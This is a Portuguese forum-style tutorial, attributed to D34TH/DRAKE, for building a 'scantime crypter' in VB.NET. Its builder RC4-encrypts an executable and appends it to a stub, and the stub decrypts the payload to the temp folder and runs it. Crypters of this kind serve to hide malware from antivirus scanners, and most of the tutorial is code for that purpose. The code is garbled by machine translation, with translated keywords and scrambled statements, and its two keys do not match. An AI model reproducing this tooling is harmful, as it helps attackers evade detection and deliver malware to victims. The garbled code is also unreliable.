[VB.NET] RC4 [TUT]
Como criar um Crypter Scantime!
==================================
Tutorial de D34TH/DRAKE
==================================
O que você precisa:
* Visual Basic 2008
* Textbox1
* Button1
* Button2
O Construtor
Passo 1
Altere o texto do Button1 para "Procurar"
Altere o texto do Button2 para "Crypt"
Passo 2
Coloque acima Public Class Form1:
Agora, colocar sob Public Class Form1:
Alterar "HACKRULES" para que cada vez que você gosta.
Etapa 3
Clique duas vezes no Button1 e colocar este código:
Isso permitirá que você navegue e selecione o arquivo que você deseja cripta.
Etapa 4
Dê um duplo clique Button2, e inserir o código:
Este código vai abrir o rascunho e fazer o seu arquivo criptografado.
Etapa 5
Coloque esse código em algum lugar do construtor, mas não em um submarino.
Este código é a criptografia RC4. Existem muitos outros tipos de criptografia, mas eu estou usando para este tutorial.
Agora, se o construtor não tem erros, vamos agora criar o topo.
O Stub
Passo 1
Coloque acima Public Class Form1:
Agora, colocar sob Public Class Form1:
Certifique-se que o que você colocar entre:
é o mesmo que no construtor. Caso contrário, ele vai trabalhar.
Passo 2
Inset em Private Sub Form1_Load:
Esta será uma parte do que torna a sua scantime arquivo.
Etapa 3
Mais uma vez, precisamos adicionar a função RC4:
Coloque-o em qualquer lugar, mas não em um submarino.
==================================
Tutorial de D34TH/DRAKE
==================================
O que você precisa:
* Visual Basic 2008
* Textbox1
* Button1
* Button2
O Construtor
Passo 1
Altere o texto do Button1 para "Procurar"
Altere o texto do Button2 para "Crypt"
Passo 2
Coloque acima Public Class Form1:
Código:
Importações System.Text
Código:
FileSplit Const = "@ @ HACKRULES"
Etapa 3
Clique duas vezes no Button1 e colocar este código:
Código:
Dim openf As New OpenFileDialog
Se Windows.Forms.DialogResult.OK openf.ShowDialog = Em seguida,
TextBox1.Text = openf.FileName
Else: Exit Sub
End If
Etapa 4
Dê um duplo clique Button2, e inserir o código:
Código:
Dim filein, filename, stub As String
Dim lol Como SaveFileDialog Nova
Se Windows.Forms.DialogResult.OK lol.ShowDialog = Em seguida,
filename = lol.FileName
Else: Exit Sub
End If
FileOpen (1, TextBox1.Text, OpenAccess.Read, OpenMode.Binary, OpenShare.Default)
filein = Space (LOF) (1)
FileGet (1, filein)
FileClose (1)
FileOpen (1, Application.StartupPath & "\ Stub.exe", OpenMode.Binary, OpenAccess.Read OpenShare.Default)
stub = Space (LOF) (1)
FileGet (1, stub)
FileClose (1)
FileOpen (1, arquivo, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut (1, esboço & FileSplit & RC4 (filein ", HACKRULES"))
FileClose (1)
MsgBox ("Crypted!")
Me.Close ()
Etapa 5
Coloque esse código em algum lugar do construtor, mas não em um submarino.
Código:
Public Shared Function RC4 (ByVal mensagem As String, ByVal senha As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim As New StringBuilder cifra
Dim returnCipher As String = String
Dim SBOX As Integer () = New Integer (256) {}
Dim-chave As Integer () = New Integer (256) {}
As Integer Dim intLength password.Length =
Dim um número inteiro como = 0
Enquanto a <= 255
Dim CTMP como Char = (password.Substring ((a intLength Mod), 1). ToCharArray () (0))
chave (a) = Microsoft.VisualBasic.Strings.Asc (CTMP)
SBOX (a) = a
System.Math.Max (System.Threading.Interlocked.Increment (a), a - 1)
End While
Integer Dim x As = 0
Dim b As Integer = 0
Enquanto b <= 255
x = (x SBOX + (b) a chave + (b)) Mod 256
As Integer Dim tempSwap SBOX = (b)
SBOX (b) SBOX = (x)
SBOX (x) = tempSwap
System.Math.Max (System.Threading.Interlocked.Increment (b), b - 1)
End While
a = 1
Enquanto a <= message.Length
Dim iTMP As Integer = 0
i = (i + 1) Mod 256
j = (SBOX + j (i)) Mod 256
iTMP = SBOX (i)
SBOX (i) = SBOX (j)
SBOX (j) = iTMP
Dim k As Integer SBOX = ((SBOX (i) + SBOX (j)) Mod 256)
Dim CTMP como Char message.Substring = (a - 1, 1) ToCharArray () (0).
iTMP = Asc (CTMP)
Dim cipherby As Integer = k iTMP Xor
cipher.Append (cipherby Chr ())
System.Math.Max (System.Threading.Interlocked.Increment (a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
returnCipher Retorno
End Function
Agora, se o construtor não tem erros, vamos agora criar o topo.
O Stub
Passo 1
Coloque acima Public Class Form1:
Código:
Importações System.Text
Agora, colocar sob Public Class Form1:
Código:
FileSplit Const = "@ @ HACKRULES"
Código:
"@ @"
Passo 2
Inset em Private Sub Form1_Load:
Código:
On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4 (), filezafter As String
FileOpen (1, Application.ExecutablePath, OpenAccess.Read, OpenMode.Binary, OpenShare.Shared)
file1 = Space (LOF) (1)
FileGet (1, arquivo1)
FileClose (1)
filezb4 = Split (arquivo1, FileSplit)
filezafter = RC4 (filezb4 (1), "sonixisthebest")
FileOpen (5, TPath & "\ Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut (5, filezafter)
FileClose (5)
System.Diagnostics.Process.Start (TPath & "\ Crypted.exe")
Me.Close ()
Fim
Etapa 3
Mais uma vez, precisamos adicionar a função RC4:
Código:
Public Shared Function RC4 (ByVal mensagem As String, ByVal senha As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim As New StringBuilder cifra
Dim returnCipher As String = String
Dim SBOX As Integer () = New Integer (256) {}
Dim-chave As Integer () = New Integer (256) {}
As Integer Dim intLength password.Length =
Dim um número inteiro como = 0
Enquanto a <= 255
Dim CTMP como Char = (password.Substring ((a intLength Mod), 1). ToCharArray () (0))
chave (a) = Microsoft.VisualBasic.Strings.Asc (CTMP)
SBOX (a) = a
System.Math.Max (System.Threading.Interlocked.Increment (a), a - 1)
End While
Integer Dim x As = 0
Dim b As Integer = 0
Enquanto b <= 255
x = (x SBOX + (b) a chave + (b)) Mod 256
As Integer Dim tempSwap SBOX = (b)
SBOX (b) SBOX = (x)
SBOX (x) = tempSwap
System.Math.Max (System.Threading.Interlocked.Increment (b), b - 1)
End While
a = 1
Enquanto a <= message.Length
Dim iTMP As Integer = 0
i = (i + 1) Mod 256
j = (SBOX + j (i)) Mod 256
iTMP = SBOX (i)
SBOX (i) = SBOX (j)
SBOX (j) = iTMP
Dim k As Integer SBOX = ((SBOX (i) + SBOX (j)) Mod 256)
Dim CTMP como Char message.Substring = (a - 1, 1) ToCharArray () (0).
iTMP = Asc (CTMP)
Dim cipherby As Integer = k iTMP Xor
cipher.Append (cipherby Chr ())
System.Math.Max (System.Threading.Interlocked.Increment (a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
returnCipher Retorno
End Function